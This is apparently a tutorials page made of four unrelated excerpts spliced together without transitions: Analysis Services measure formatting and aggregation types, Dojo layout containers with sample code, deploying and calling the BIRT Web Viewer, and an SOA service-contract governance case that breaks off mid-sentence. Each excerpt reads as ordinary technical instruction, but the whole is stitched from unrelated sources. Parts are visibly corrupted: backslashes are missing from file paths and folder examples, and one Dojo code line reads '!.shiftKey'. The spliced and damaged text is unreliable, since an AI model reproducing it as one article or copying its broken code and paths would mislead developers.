How-To Tutorials

In this two-part article by Chris Webb, we will look at measures and measure groups, ways to control how measures aggregate up, and how dimensions can be related to measure groups. In this part, will cover useful properties of measures, along with built-in measure aggregation types and dimension calculations. Measures and aggregation Measures are the numeric values that our users want to aggregate, slice, dice and otherwise analyze, and as a result, it's important to make sure they behave the way we want them to. One of the fundamental reasons for using Analysis Services is that, unlike a relational database it allows us to build into our cube design business rules about measures: how they should be formatted, how they should aggregate up, how they interact with specific dimensions and so on. It's therefore no surprise that we'll spend a lot of our cube development time thinking about measures. Useful properties of Measures Apart from the AggregateFunction property of a measure, which we'll come to next, there are two other important properties we'll want to set on a measure, once we've created it. Format string The Format String property of a measure specifies how the raw value of the measure gets formatted when it's displayed in query results. Almost all client tools will display the formatted value of a measure, and this allows us to ensure consistent formatting of a measure across all applications that display data from our cube. A notable exception is Excel 2003 and earlier versions, which can only display raw measure values and not formatted values. Excel 2007 will display properly formatted measure values in most cases, but not all. For instance, it ignores the fourth section of the Format String which controls formatting for nulls. Reporting Services can display formatted values in reports, but doesn't by default; this blog entry describes how you can make it do so:  http://tinyurl.com/gregformatstring. There are a number of built-in formats that you can choose from, and you can also build your own by using syntax very similar to the one used by Visual BASIC for Applications (VBA) for number formatting. The Books Online topic FORMAT_STRING Contents gives a complete description of the syntax used. Here are some points to bear in mind when setting the Format String property: If you're working with percentage values, using the % symbol will display your values multiplied by one hundred and add a percentage sign to the end. Note that only the display value gets multiplied by hundred—the real value of the measure will not be, so although your user might see a value of 98% the actual value of the cell would be 0.98. If you have a measure that returns null values in some circumstances and you want your users to see something other than null, don't try to use a MDX calculation to replace the nulls—this will cause severe query performance problems. You can use the fourth section of the Format String property to do this instead—for example, the following: #,#.00;#,#.00;0;NA will display the string NA for null values, while keeping the actual cell value as null without affecting performance. Be careful while using the Currency built-in format: it will format values with the currency symbol for the locale specified in the Language property of the cube. This combination of the Currency format and the Language property is frequently recommended for formatting measures that contain monetary values, but setting this property will also affect the way number formats are displayed: for example, in the UK and the USA, the comma is used as a thousands separator, but in continental Europe it is used as a decimal separator. As a result, if you wanted to display a currency value to a user in a locale that didn't use that currency, then you could end up with confusing results. The value €100,101 would be interpreted as a value just over one hundred Euros to a user in France, but in the UK, it would be interpreted as a value of just over one hundred thousand Euros. You can use the desired currency symbol in a Format String instead, for example '$#,#.00', but this will not have an effect on the thousands and decimal separators used, which will always correspond to the Language setting. You can find an example of how to change the language property using a scoped assignment in the MDX Script here: http://tinyurl.com/gregformatstring. Similarly, while Analysis Services 2008 supports the translation of captions and member names for users in different locales, unlike in previous versions, it will not translate the number formats used. As a result, if your cube might be used by users in different locales you need to ensure they understand whichever number format the cube is using. Display folders Many cubes have a lot of measures on them, and as with dimension hierarchies, it's possible to group measures together into folders to make it easier for your users to find the one they want. Most, but not all, client tools support display folders, so it may be worth checking whether the one you intend to use does. By default each measure group in a cube will have its own folder containing all of the measures on the measure group; these top level measure group folders cannot be removed and it's not possible to make a measure from one measure group appear in a folder under another measure group. By entering a folder name in a measure's Display Folder property, you'll make the measure appear in a folder underneath its measure group with that name; if there isn't already a folder with that name, then one will be created, and folder names are case-sensitive. You can make a measure appear under multiple folders by entering a semi-colon delimited list of names as follows: Folder One; Folder Two. You can also create a folder hierarchy by entering either a forward-slash / or back-slash delimited list (the documentation contradicts itself on which is meant to be used—most client tools that support display folders support both) of folder names as follows: Folder One; Folder TwoFolder Three. Calculated measures defined in the MDX Script can also be associated with a measure group, through the Associated_Measure_Group property, and with a display folder through the Display_Folder property. These properties can be set either in code or in Form View in the Calculations tab in the Cube Editor: If you don't associate a calculated measure with a measure group, but do put it in a folder, the folder will appear at the same level as the folders created for each measure group. Built-in measure aggregation types The most important property of a measure is AggregateFunction; it controls how the measure aggregates up through each hierarchy in the cube. When you run an MDX query, you can think of it as being similar to a SQL SELECT statement with a GROUP BY clause—but whereas in SQL you have to specify an aggregate function to control how each column's values get aggregated, in MDX you specify this for each measure when the cube is designed. Basic aggregation types Anyone with a passing knowledge of SQL will understand the four basic aggregation types available when setting the AggregateFunction property: Sum is the commonest aggregation type to use, probably the one you'll use for 90% of all the measures. It means that the values for this measure will be summed up. Count is another commonly used property value and aggregates either by counting the overall number of rows from the fact table that the measure group is built from (when the Binding Type property, found on the Measure Source dialog that appears when you click on the ellipses button next to the Source property of a measure, is set to Row Binding), or by counting non-null values from a specific measure column (when Binding Type property is set to Column Binding). Min and Max return the minimum and maximum measure values. There isn't a built-in Average aggregation type—as we'll soon see, AverageOfChildren does not do a simple average—but it's very easy to create a calculated measure that returns an average by dividing a measure with AggregateFunction Sum by one with AggregateFunction Count, for example: CREATE MEMBER CURRENTCUBE.[Measures].[Average Measure Example] ASIIF([Measures].[Count Measure]=0, NULL,[Measures].[Sum Measure]/[Measures].[Count Measure]); Distinct Count The DistinctCount aggregation type counts the number of distinct values in a column in your fact table, similar to a Count(Distinct) in SQL. It's generally used in scenarios where you're counting some kind of key, for example, finding the number of unique Customers who bought a particular product in a given time period. This is, by its very nature, an expensive operation for Analysis Services and queries that use DistinctCount measures can perform worse than those which use additive measures. It is possible to get distinct count values using MDX calculations but this almost always performs worse; it is also possible to use many-to-many dimensions to get the same results and this may perform better in some circumstances; see the section on "Distinct Count" in the "Many to Many Revolution" white paper, available at http://tinyurl.com/m2mrev. When you create a new distinct count measure, BIDS will create a new measure group to hold it automatically. Each distinct count measure needs to be put into its own measure group for query performance reasons, and although it is possible to override BIDS and create a distinct count measure in an existing measure group with measures that have other aggregation types, we strongly recommend that you do not do this. None The None aggregation type simply means that no aggregation takes place on the measure at all. Although it might seem that a measure with this aggregation type displays no values at all, that's not true: it only contains values at the lowest possible granularity in the cube, at the intersection of the key attributes of all the dimensions. It's very rarely used, and only makes sense for values such as prices that should never be aggregated. If you ever find that your cube seems to contain no data even though it has processed successfully, check to see if you have accidentally deleted the Calculate statement from the beginning of your MDX Script. Without this statement, no aggregation will take place within the cube and you'll only see data at the intersection of the leaves of every dimension, as if every measure had AggregateFunction None. Semi-additive aggregation types The semi-additive aggregation types are: AverageOfChildren FirstChild LastChild FirstNonEmpty LastNonEmpty They behave the same as measures with aggregation type Sum on all dimensions except Time dimensions. In order to get Analysis Services to recognize a Time dimension, you'll need to have set the dimension's Type property to Time in the Dimension Editor. Sometimes you'll have multiple, role-playing Time dimensions in a cube, and if you have semi-additive measures, they'll be semi-additive for just one of these Time dimensions. In this situation, Analysis Services 2008 RTM uses the first Time dimension in the cube that has a relationship with the measure group containing the semi-additive measure. You can control the order of dimensions in the cube by dragging and dropping them in the Dimensions pane in the bottom left-hand corner of the Cube Structure tab of the Cube Editor; the following blog entry describes how to do this in more detail: http://tinyurl.com/gregsemiadd. However, this behavior has changed between versions in the past and may change again in the future. Semi-additive aggregation is extremely useful when you have a fact table that contains snapshot data. For example, if you had a fact table containing information on the number of items in stock in a warehouse, then it would never make sense to aggregate these measures over time: if you had ten widgets in stock on January 1, eleven in stock on January 2, eight on January 3 and so on, the value you would want to display for the whole of January would never be the sum of the number of items in stock on each day in January. The value you do display depends on your organization's business rules. Let's take a look at what each of the semi-additive measure values actually do: AverageOfChildren displays the average of all the values at the lowest level of granularity on the Time dimension. So, for example, if Date was the lowest level of granularity, when looking at a Year value, then Analysis Services would display the average value for all days in the year. FirstChild displays the value of the first time period at the lowest level of granularity, for example, the first day of the year. LastChild displays the value of the last time period at the lowest level of granularity, for example, the last day of the year. FirstNonEmpty displays the value of the first time period at the lowest level of granularity that is not empty, for example the first day of the year that has a value. LastNonEmpty displays the value of the last time period at the lowest level of granularity that is not empty, for example the last day of the year that has a value. This is the most commonly used semi-additive type; a good example of its use would be where the measure group contains data about stock levels in a warehouse, so when you aggregated along the Time dimension what you'd want to see is the amount of stock you had at the end of the current time period. The following screenshot of an Excel pivot table illustrates how each of these semi-additive aggregation types works: Note that the semi-additive measures only have an effect above the lowest level of granularity on a Time dimension. For dates like July 17th in the screenshot above, where there is no data for the Sum measure, the LastNonEmpty measure still returns null and not the value of the last non-empty date.

Basic Dojo layout facts The Layout widgets in Dojo are varied in nature, but their most common use is as 'windows' or areas which organize and present other widgets or information. Several use the same kind of child elements the ContentPane. The ContentPane is a widget which can contain other widgets and plain HTML, reload content using Ajax and so on. The ContentPane can also be used stand-alone in a page, but is more usable inside a layout container of some sort. And what is a layout container? Well, it's a widget which contains ContentPanes, of course. A layout container can often contain other widgets as well, but most containers work very well with a different configuration of ContentPanes, which properly insulates the further contents. Take the TabContainer, for example. It is used to organize two or more ContentPanes, where each gets its own tab. When a user clicks on one of the tabs, the ContentPane inside it is shown and all others are hidden. Using BorderManager can bring the necessary CSS styling down to a minimum, while giving a simple interface for managing dynamic changes of child widgets and elements. ContentPane A ContentPane can look like anything of course, so it doesn't really help putting a screen-dump of one on the page. However, the interface is very good to know. The following arguments are detected by ContentPane and can be used when creating one either programmatically or by markup: // href: String //The href of the content that displays now. //Set this at construction if you want to load data externally //when the pane is shown.(Set preload=true to load it immediately.) //Changing href after creation doesn't have any effect; //see setHref(); href: "", //extractContent: Boolean //Extract visible content from inside of <body> .... </body> extractContent: false, //parseOnLoad: Boolean //parse content and create the widgets, if any parseOnLoad:true, //preventCache: Boolean //Cache content retreived externally preventCache:false, //preload: Boolean //Force load of data even if pane is hidden. preload: false, //refreshOnShow: Boolean //Refresh (re-download) content when pane goes from hidden to shown refreshOnShow: false, //loadingMessage: String //Message that shows while downloading loadingMessage: "<span class='dijitContentPaneLoading'>$ {loadingState}</span>", //errorMessage: String //Message that shows if an error occurs errorMessage: "<span class='dijitContentPaneError'>${errorState}</span>", You don't need any of those, of course. A simple way to create a ContentPane would be: var pane = new dojo.layout.ContentPane({}); And a more common example would be the following: var panediv = dojo.byId('panediv');var pane = new dojo.layout.ContentPane({ href: "/foo/content.html", preload: true}, panediv); where we would have an element already in the page with the id 'panediv'. As you see, there are also a couple of properties that manage caching and parsing of contents. At times, you want your ContentPane to parse and render any content inside it (if it contains other widgets), whereas other times you might not (if it contains a source code listing, for instance). You will see additional properties being passed in the creation of a ContentPane which are not part of the ContentPane itself, but are properties that give information specific to the surrounding Container. For example, the TabContainer wants to know which tab this is, and so on. Container functions All container widgets arrange other widgets, and so have a lot of common functionality defined in the dijit._Container class. The following functions are provided for all Container widgets: addChild: Adds a child widget to the container. removeChild: Removes a child widget from the container. destroyDescendants: Iterates over all children, calling destroy on each. getChildren: Returns an array containing references to all children. hasChildren: Returns a boolean. LayoutContainer The LayoutContainer is a widget which lays out children widgets according to one of five alignments: right, left, top, bottom, or client. Client means "whatever is left", basically. The widgets being organized need not be ContentPanes, but this is normally the case. Each widget then gets to set a layoutAlign property, like this: layoutAlign = "left". The normal way to use LayoutContainer is to define it using markup in the page, and then define the widgets to be laid out inside it. LayoutContainer has been superceeded by BorderContainer, and will be removed in Dojo version 2.0. SplitContainer The SplitContainer creates a horizontal or vertical split bar between two or more child widgets. A markup declaration of a SplitContainer can look like this: <div dojoType="dijit.layout.SplitContainer" orientation="vertical" sizerWidth="7" activeSizing="false" style="border: 1px solid #bfbfbf; float: left; margin-right: 30px; width: 400px; height: 300px;"> The SplitContainer must have a defined height and width. The orientation property is self-explanatory, as is sizerWidth. The property activeSizing means, if set to true, that the child widgets will be continually resized when the user changes the position of the sizer. This can be bad if the child widgets are complex or access remote information to render themselves, in which case the setting can be set to false, as in the above example. Then the resize event will only be sent to the child widgets when the user stops. Each child widget needs to define the sizeMin and sizeShare attributes. The sizeMin attribute defines the minimum size for the widget in pixels, but the sizeShare attribute is a relative value for the share of space this widget takes in relation to the other widget's sizeShare values. If we have three widgets inside the SplitPane with sizeShare values of 10, 40 and 50, they will have the same ratios in size as if the values had been 1:4:5. StackContainer The StackContainer hides all children widgets but only one at any given time, and is one of the base classes for both the Accordion and TabContainers. StackContainer exists as a separate widget to allow you to define how and when the child widgets are shown. Maybe you would like to define a special kind of control for changing between child widget views, or maybe you want other events in your application to make the Container show specific widgets. Either way, the StackContainer is one of the most versatile Containers, along with the BorderContainer. The following functions are provided for interacting with the StackContainer: back - Selects and shows the previous child widget. forward - Selects and shows the next child widget. getNextSibling - Returns a reference to the next child widget. getPreviousSibling - Returns a reference to the previous child widget. selectChild - Takes a reference to the child widget to select and show.   Here is the slightly abbreviated markup for the test shown above (test_StackContainer.html): <div id="myStackContainer" dojoType="dijit.layout.StackContainer" style="width: 90%; border: 1px solid #9b9b9b; height: 20em; margin: 0.5em 0 0.5em 0; padding: 0.5em;"> <p id="page1" dojoType="dijit.layout.ContentPane" title= "page 1">IT WAS the best of times, ....</p> <p id="page2" dojoType="dijit.layout.ContentPane" title= "page 2">There were a king with a large jaw ...</p> <p id="page3" dojoType="dijit.layout.ContentPane" title= "page 3">It was the year of Our Lord one thousand seven hundred and seventy- five. .../p></div> The StackContainer also publishes topics on certain events which can be caught using the messaging system. The topics are: [widgetId]-addChild [widgetId]-removeChild [widgetId]-selectChild [widgetId]-containerKeyPress Where [widgetId] is the id of this widget. So if you had a StackContainer defined in the following manner: <div id="myStackContainer" dojoType="dijit.layout.StackContainer">...</div> You can use the following code to listen to events from your StackContainer: dojo.subscribe("myStackContainer-addChild", this, function(arg){ var child = arg[0]; var index = arg[1];}); Compare with the following code from the StackContainer class itself: addChild: function(/*Widget*/ child, /*Integer?*/ insertIndex) { // summary: Adds a widget to the stack this.inherited(arguments); if(this._started) { // in case the tab titles have overflowed from one line // to two lines this.layout(); dojo.publish(this.id+"-addChild", [child, insertIndex]); // if this is the first child, then select it if(!this.selectedChildWidget) { this.selectChild(child); } } }, Also declared in the class file for the StackContainer is the dijit.layout.StackController. This is a sample implementation of a separate widget which presents user controls for stepping forward, backward, and so on in the widget stack. What differentiates this widget from the Tabs in the TabContainer, for example, is that the widget is completely separate and uses the message bus to listen to events from the StackContainer. You can use it as-is, or subclass it as a base for you own controllers. But naturally, you can build whatever you want and connect the events to the forward() and back() function on the StackContainer. It's interesting to note that at the end of the files that define StackContainer, the _Widget base class for all widgets is extended in the following way: //These arguments can be specified for the children of a//StackContainer.//Since any widget can be specified as a StackContainer child,//mix them into the base widget class. (This is a hack, but it's//effective.)dojo.extend(dijit._Widget, {//title: String//Title of this widget.Used by TabContainer to the name the tab, etc.title: "",//selected: Boolean//Is this child currently selected?selected: false,//closable: Boolean//True if user can close (destroy) this child, such as//(for example) clicking the X on the tab.closable: false, //true if user can close this tab paneonClose: function(){//summary: Callback if someone tries to close the child, child//will be closed if func returns true return true; }}); This means that all child widgets inside a StackContainer (or Tab or AccordionContainer) can define the above properties, which will be respected and used accordingly. However, since the properties are applied to the _Widget superclass they are of course now generic to all widgets, even those not used inside any containers at all. The most commonly used property is the closable property, which adds a close icon to the widget and title, which defines a title for the tab. A lot of Dijits respond to keypress events, according to WAI rules. Let's look at the code that is responsible for managing key events in StackContainer and all its descendants: onkeypress: function(/*Event*/ e){ //summary: //Handle keystrokes on the page list, for advancing to next/previous button //and closing the current page if the page is closable. if(this.disabled || e.altKey ){ return; } var forward = null; if(e.ctrlKey || !e._djpage){ var k = dojo.keys; switch(e.charOrCode){ case k.LEFT_ARROW: case k.UP_ARROW: if(!e._djpage){ forward = false; } break; case k.PAGE_UP: if(e.ctrlKey){ forward = false; } break; case k.RIGHT_ARROW: case k.DOWN_ARROW: if(!e._djpage){ forward = true; } break; case k.PAGE_DOWN: if(e.ctrlKey){ forward = true; } break; case k.DELETE: if(this._currentChild.closable) { this.onCloseButtonClick(this._currentChild); } dojo.stopEvent(e); break; default: if(e.ctrlKey){ if(e.charOrCode == k.TAB) { this.adjacent(!.shiftKey).onClick(); dojo.stopEvent(e); } else if(e.charOrCode == "w") { if(this._currentChild.closable) { this.onCloseButtonClick(this._currentChild); } dojo.stopEvent(e); // avoid browser tab closing. } } } // handle page navigation if(forward !== null) { this.adjacent(forward).onClick(); dojo.stopEvent(e); } }}, The code is a very good example on how to handle key press events in Dojo in its own right, but for our purposes we can summarize in the following way: If UP, LEFT, or SHIFT+TAB is pressed, forward is set to false, and the last block of code will use that as an argument to the adjacent function which returns the prior child widget if false and the next child widget if true. In this case, the former. If DOWN, RIGHT, or TAB is pressed, forward will be set to true, which will declare the next child widget to be activated and shown. If DELETE or w is pressed and the current child widget is closable, it will be destroyed. TabContainer The TabContainer, which derives from StackContainer, organizes all its children into tabs, which are shown one at a time. As you can see in the picture below, the TabContainer can also manage hierarchical versions of itself. The TabContainer takes an argument property called tabPosition, which controls where the tab icons are displayed for each tab. Possible values are "top", "bottom", "left-h", "right-h", with "top" as default. There are no special functions provided for TabContainer, which adds very little logic to that provided from the StackContainer superclass. AccordionContainer The AccorionContainer shows a horizontal bar for each added child widget, which represents its collapsed state. The bar acts as a tab and also holds the title defined for the child widget. When the bar is clicked, an animation hides the current widget, and also animates in the widget whose bar was clicked. The abbreviated code for the test case above (test_accordionContainer.html) is here: <div dojoType="dijit.layout.AccordionContainer" style="width: 400px; height: 300px; overflow: hidden"> <div dojoType="dijit.layout.AccordionPane" title="a"> Hello World </div> <div dojoType="dijit.layout.AccordionPane" title="b"> <p> Nunc consequat nisi ... </p> <p> Sed arcu magna... </p> </div> <div dojoType="dijit.layout.AccordionPane" title="c"> <p>The quick brown fox jumps over the lazy dog. The quick brown fox jumps over the lazy dog. The quick brown fox jumps over the lazy dog.</p> </div></div>  A funny thing about the AccordionContainer is that it requires not any old widget as a child node, but its own AccordionPane, as you see in the code above. However, the AccordionPane has ContentPane as superclass, and defines itself slightly differently due to the special looks of an accordion. Also, the AccordionPane does not currently support nested Layout widgets, even though single-level widgets are supported. BorderContainer The BorderContainer has replaced the functionality of both LayoutContainer and SplitContainer. Note that the outermost BorderContainer widget does not carry any layout information. This is instead delegated to each individual widget. As each child gets added to the BorderContainer, the layout is recalculated. Using the BorderContainer is a very good alternative to using CSS-based "tableless tables". For using the BorderContainer, you don't need any other rules, and the Container recalculates positioning automatically, without the need for additional CSS rules (except for the height/width case below) each time you add an element or widget to the area. Since BorderContainer widget replaces both SplitContainer and LayoutContainer, it both lets its child widgets declare where they are in relation to each other. Optionally, add resizing splitter between children. Also, instead of optionally declaring one child as "client", one child must now always be declared as "center". For some reason, the child widget now use region, instead of layoutAlign, so a child widget which would have been defined like this in LayoutContainer: <div dojoType="dijit.layout.ContentPane" layoutAlign="top">...</div> is now defined like this instead: <div dojoType="dijit.layout.ContentPane" region="top">...</div> All "side" widgets must define a width, in style, by CSS class or otherwise, and the same applies for top/bottom widgets, but with height. Center widgets must not declare either height or width, since they use whatever is left over from the other widgets. You can also use leading and trailing instead of right and left. The only difference is that when you change locale to a region that has text going from right to left (like Arabic and many others), this will arrange the widgets appropriate to the locale. The BorderContainer also takes an optional design property, which defines if the BorderContainer is a headline or sidebar. The headline is the default and looks like the picture below. headline means that the top and bottom widgets extend the full length of the container, whereas sidebar means the the right and left (or leading and trailing) widgets extend top to bottom. The sizeShare attribute for the ContentPanes used in the SplitContainer is deprecated in BorderContainer. All ContentPanes sizes are defined using regular techniques (direct stylin, classes, and so on). From the BorderContainer test located in dijit/tests/layout/test_BorderContainer_nested.html, we find the following layout: The (abbreviated) source code for the example is here: <div dojoType="dijit.layout.BorderContainer" style="border: 2px solid black; width: 90%; height: 500px; padding: 10px;"> <div dojoType="dijit.layout.ContentPane" region="left" style="background-color: #acb386; width: 100px;"> left </div> <div dojoType="dijit.layout.ContentPane" region="right" style="background-color: #acb386; width: 100px;"> right </div> <div dojoType="dijit.layout.ContentPane" region="top" style="background-color: #b39b86; height: 100px;"> top bar </div> <div dojoType="dijit.layout.ContentPane" region="bottom" style="background-color: #b39b86; height: 100px;"> bottom bar </div> <div dojoType="dijit.layout.ContentPane" region="center" style="background-color: #f5ffbf; padding: 0px;"> <div dojoType="dijit.layout.BorderContainer" design="sidebar" style="border: 2px solid black; height: 300px;"> <div dojoType="dijit.layout.ContentPane" region="left" style="background-color: #acb386; width: 100px;"> left </div> <div dojoType="dijit.layout.ContentPane" region="right" style="background-color: #acb386; width: 100px;"> right </div> <div dojoType="dijit.layout.ContentPane" region="top" style="background-color: #b39b86; height: 100px;"> top bar </div> <div dojoType="dijit.layout.ContentPane" region="bottom" style="background-color: #b39b86; height: 100px;"> bottom bar </div> <div dojoType="dijit.layout.ContentPane" region="center" style="background-color: #f5ffbf; padding: 10px;"> main panel with <a href="http://www.dojotoolkit.org/"> a link</a>.<br /> (to check we're copying children around properly). <br /> <select dojoType="dijit.form.FilteringSelect"> <option value="1">foo</option> <option value="2">bar</option> <option value="3">baz</option> </select> Here's some text that comes AFTER the combo box. </div> </div> </div></div> You see here the recurring theme of using ContentPanes inside Containers. Also, the innermost "center" ContentPane wraps a new BorderContainer which has its own internal top/left layout widgets. Depending on what kind of application you are building, the BorderContainer might be a good starting point. Since you already know that you can change and reload the contents of individual ContentPanes, you are left with a layout in which each element can function as a lightweight Iframe with none of the negative side effects. DragPane The DragPane is a very simple idea. You have a very large area of elements to display, and want to let the user 'drag' the underlying pane around using the mouse. The DragPane can be used in instances where you have a lot of pictures to present. It can also be used to present text or other widgets that are too numerous to fit in your current designated area of screen real estate. The only property of DragPane is invert, which if set to true, inverts the axis of the drag of the mouse. Example: <div class="hugetext" id="container" invert="false" dojoType="dojox.layout.DragPane"> <p style="color:#666; padding:8px; margin:0;"> Lorem ipsum dolor sit amet, consectetuer adipiscing elit. In porta. Etiam mattis libero nec ante. Nam porta lacus eu ligula. Cras mauris. Suspendisse vel augue. Vivamus aliquam orci ut eros. Nunc eleifend sagittis turpis. purus purus in nibh. Phasellus in nunc. </p></div>

Everything in this article uses utilities from the BIRT Runtime installation package, available from the BIRT homepage at http://www.eclipse.org/birt. BIRT Viewer The BIRT Viewer is a J2EE application that is designed to demonstrate how to implement the Report Engine API to execute reports in an online web application. For most basic uses—such as for small to medium size Intranet applications—this is an appropriate approach. The point to keep in mind about the BIRT Web Viewer is that it is an example application. It can be used as a baseline for more sophisticated web applications that will implement the BIRT Report Engine API. Installation of the BIRT Viewer is documented at a number of places. The Eclipse BIRT website has some great tutorials at: http://www.eclipse.org/birt/phoenix/deploy/viewerSetup.php http://wiki.eclipse.org/BIRT/FAQ/Deployment This is also documented on my website in a series of articles introducing people to BIRT: http://digiassn.blogspot.com/2005/10/birt-report-server-pt-2.html I won't go into the details about installing Apache Tomcat as this is covered in depth in other locations, but I will cover how to install the Viewer in a Tomcat environment. For the most part these instructions can be used in other J2EE containers, such as WebSphere. In some cases a WAR package is used instead. I prefer Tomcat because it is a widely used open-source J2EE environment. Under the BIRT Runtime package is a folder containing an example Web Viewer application. The Web Viewer is a useful application as you require basic report viewing capabilities, such as parameter passing, pagination, and export capabilities to formats such as Word, Excel, RTF, and CSV. For this example, I have Apache Tomcat 5.5 installed into a folder at C:apache-tomcat-5.5.25. To install the Web Viewer, I simply need to copy the WebViewerExample folder from the BIRT Runtime to the web application folder at C:apache-tomcat-5.5.25webapps. Accessing the BIRT Web Viewer is as simple as calling the WebViewerExample Context. When copying the WebViewerExample folder, you can rename this folder to anything you want. Obviously WebViewerExample is not a good name for an online web application. So in the following screenshot, I renamed the WebViewerExample folder to birtViewer, and am accessing the BIRT Web Viewer test report. Installing Reports into the Web Viewer Once the BIRT Viewer is set up, Deploying reports is as simple as copying the report design files, Libraries, or report documents into the application's Context, and calling it with the appropriate URL parameters. For example, we will install the reports from the Classic Cars – With Library folder into the BIRT Web Viewer at birtViewer. In order for these reports to work, all dependent Libraries need to be installed with the reports. In the case of the example application, we currently have the report folder set to the Root of the web application folder. Accessing Reports in the Web Viewer Accessing reports is as simple as passing the correct parameters to the Web Viewer. In the BIRT Web Viewer, there are seven servlets that you can call to run reports, which are as follows: frameset run preview download parameter document output Out of these, you will only need frameset and run as the other servlets are for Engine-related purposes, such as the preview for the Eclipse designer, the parameter Dialog, and the download of report documents. Out of the these two servlets, frameset is the one that is typically used for user interaction with reports, as it provides the pagination options, parameter Dialogs, table of contents viewing, and export and print Dialogs. The run servlet only provides report output. There are a few URL parameters for the BIRT Web Viewer, such as: __format : which is the output format, either HTML or PDF. __isnull: which sets a Report Parameter to null, parameter name as a value. __locale: which is the reports locale. __report: which is the report design file to run. __document: which is the report document file to open. Any remaining URL parameter will be treated as a Report Parameter. In the following image, I am running the Employee_Sales_Percentage.rptdesign file with the startDate and endDate parameters set.  

Beginning Your SOA Journey Many organizations start their journey towards SOA through some sort of grass roots effort. Unfortunately, these efforts normally result in what's known as JBOS (Just a Bunch of Services). Typically, a project that had previously used some form of distributed component technology, such as Enterprise Java Beans, has now chosen to use XML or SOAP and HTTP, instead. The issue with this approach is that the service boundary that establishes the consumer and provider relationship really doesn't exist when one team is responsible for both the consumer and the provider. Eventually, the organization will encounter a situation where the development of the service and development of the consumer takes place in a separate project. This could be due to there being more than one consumer, a B2B scenario where services are developed for consumption by partner companies, a large program that involves many independently managed projects, or simply a decision that the organization makes as it learns more about SOA. In our example, this was exactly the case. There was a program that encompassed three separate projects, two that involved development of service consumers, and one that handled the service development. The two consumers were the front-end for the auto insurance system and the front-end for the home insurance system. Spencer's project was responsible for creating a new service that provided an abstraction layer in front of the data systems for both applications. Key Project Roles The nice thing about projects and programs is that they have an explicit hierarchy. If a developer has a question or concern, they work with the project architect. The project architect may take things to the project manager, and the project manager may take things to the sponsor. If it's a program, then there's likely a hierarchy of architects and project managers, but everything bubbles its way up to the top. Everyone working on the project understands the objectives, the scope, the milestones, and the deadlines. This explicit hierarchy is the first, and often only, source of governance within the project. Within the project we have one piece of the governance puzzle: people. The challenge, however, is that the people only have authority within the project. If your SOA adoption efforts are broader than that single project or program, you'll likely run into problems. In our Advasco example, Spencer ran into exactly this problem. Initially, Spencer only had to deal with project managers that were within the overall program. These project managers knew that the desired outcome was a shared, accurate, complete view of the customer, and it would be achieved through usage of the new service. As a result, they worked together with Spencer to ensure that outcome would be reached. When Spencer went outside of the program, however, his position of authority did not go with him. When he met with Ryan, he had no perceived or explicit authority. Even though the company had recognized a need to improve its image with its customers, the scope of that effort within IT was limited to the home and auto insurance areas. Therefore, for Ryan, service reuse was not on his list of desired outcomes, and regardless of how good Spencer made it sound, it was not something that he was willing to risk for the outcomes that he did desire. The Service Contract In this example, we clearly had a service provider, Spencer and his team, and two service consumers, the auto insurance application whose development efforts were managed by Jennifer and the home insurance application managed by Mark. A key aspect of this example is that these three efforts were independently managed, even though all being under a common program. A service should be independent of all consumers and this begins at the time that version one is developed, not at the time version one goes into production. In our example, imagine if the service development was under the management of either Mark's project or Jennifer's project. If a conflict arose, whose project would win out? Clearly, the project manager that oversees the service development effort has the upper hand, and will likely make decisions that will benefit their own project first. By separating out the service development as an independently managed effort, both of the two consumers are now equal, as they should be. When we have the notion of a service consumer and a service provider, we need an explicit representation of the relationship between them, and that relationship is a service contract. This is no different than how we deal with services in the real world. If you hire a crew to replace the roof on your home, the first step is for you and the construction crew to sign a contract that governs the work. It provides governance by establishing policies. These include the hours that work will take place, the time in which the work will be done, the payment schedule and conditions, the behavior of the crew in the event of bad weather, and so on. In the world of SOA, the service contract is the collection of policies that govern the interaction between a service consumer and a service provider. That contract states the messages that will be exchanged, the URIs to be utilized, and more. In this article, the initial focus was on two factors: the functional interface and the delivery schedule of the implementation. This is where most organizations start as the functional interface and a working implementation of that interface are clearly the minimum mandatory elements. It is no surprise that terminology like contract-first quickly sprung up as the varying technical approaches started to gain in popularity. This article also addressed another key element of service contracts. In the real world, a contract is a binding agreement between two parties. Using our earlier roofing example, if the contractor replaces the roof on your house as well as the roof on your neighbor's house, he would have one contract with you and one contract with your neighbor. While you and your neighbor are both receiving the same service (a new roof) the terms and conditions around that service are likely to be different. You may both have been presented a standard contract to begin with, but from that point on, each one of you may have made your own adjustments or additions. The same approach needs to hold true for technology services. You may choose to expose a subset of operations to one consumer, while another consumer may have access to all operations. In our example, Spencer's efforts initially fell short. He had initial conversations with Jennifer, but the only thing that came out of it was some agreement on when things had to go live. There was no discussion of the service interface, no discussion of the delivery schedule of milestone releases, or anything else. Given that this service was only going to be consumed internally, the development of the interface should have been a joint effort of both the consumer and provider. Spencer's team would bring domain knowledge from the provider's side, Jennifer's team would bring domain knowledge from the consumer's side, and together they would establish a service interface that was amenable to both. Instead, Spencer's team developed the initial service interface in a vacuum, creating something that may have met their needs, but did not meet the needs of the consumer. Meeting the needs of the consumer is the most important aspect of providing a service. The second mistake that Spencer made was that he did not establish a formal definition of the handoffs that would be required between his team and Jennifer's team. In providing Jennifer's team an endpoint that could be used during development, he thought he was doing the right thing, but then when that endpoint changed out from underneath them, since, after all, it was under development, it had an impact on the trust between Jennifer's team and his team. This particular situation can be a challenging one for many organizations, because the basic design of their environments often assumes that everything required for a project is under the control of the project team, and can therefore be promoted through the environments in lock-step. Now, when service consumers and the service provider are being developed according to their own timelines, instability can be introduced. The appropriate way to handle this situation is to make explicit those policies that govern the interaction between the service consumers and the service provider during the design and development phase, rather than dealing with situations that arise on an ad hoc basis. The service provider has the responsibility for delivering a stable version of the service at various points throughout the project, and deploying it onto a stable platform that only changes according to the policies within the contracts enacted with the consumer teams. For example, suppose both the service consumer and service provider are taking an iterative approach to the development of their solutions. In order to allow the service consumer adequate time for testing and feedback, the service provider may only promote a subset of their iteration builds to an integration environment for use by the service consumer. The service consumer would be required to provide feedback within a specified amount of time in order to have the fix included in a subsequent integration release. This is shown in the following figure: In short, within a single project, iterative, agile development can certainly take precedence. Across projects, however, the handoffs should be formalized and explicitly specified as part of the service contract, especially when two or more consumers are involved. Adding SOA to Traditional Project Governance While the big change for the organization is learning how to manage the consumer-provider relationship, we can't forget about traditional project governance. Today, your organization may make use of architecture reviews, design reviews, code reviews, and operational readiness reviews as part of the software development process. These reviews already embody the three components of governance: people, policies, and process. These reviews more than likely involve resources from outside the project that the enterprise has positioned as authorities. An architecture review may involve enterprise architects, more senior architects, or 